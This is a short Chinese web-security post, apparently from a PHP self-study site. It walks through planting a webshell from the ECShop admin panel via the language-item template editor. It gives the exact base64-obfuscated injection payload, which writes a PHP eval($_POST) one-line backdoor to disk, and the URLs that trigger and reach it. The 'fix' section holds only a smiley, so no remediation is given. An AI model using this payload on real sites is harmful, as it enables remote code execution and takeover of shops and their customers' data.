ecshop后台拿weshell - 网站安全 - 自学php

模板管理--语言项编辑

 

如:user.php 搜索:状态

 

插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}

 

访问http://localhost/ecshop/languages/zh_cn/user.php

 

一句话:http://localhost/ecshop/languages/zh_cn/fuck.php 

 

 

修复方案： :) 

 

查看更多关于ecshop后台拿weshell - 网站安全 - 自学php的详细内容...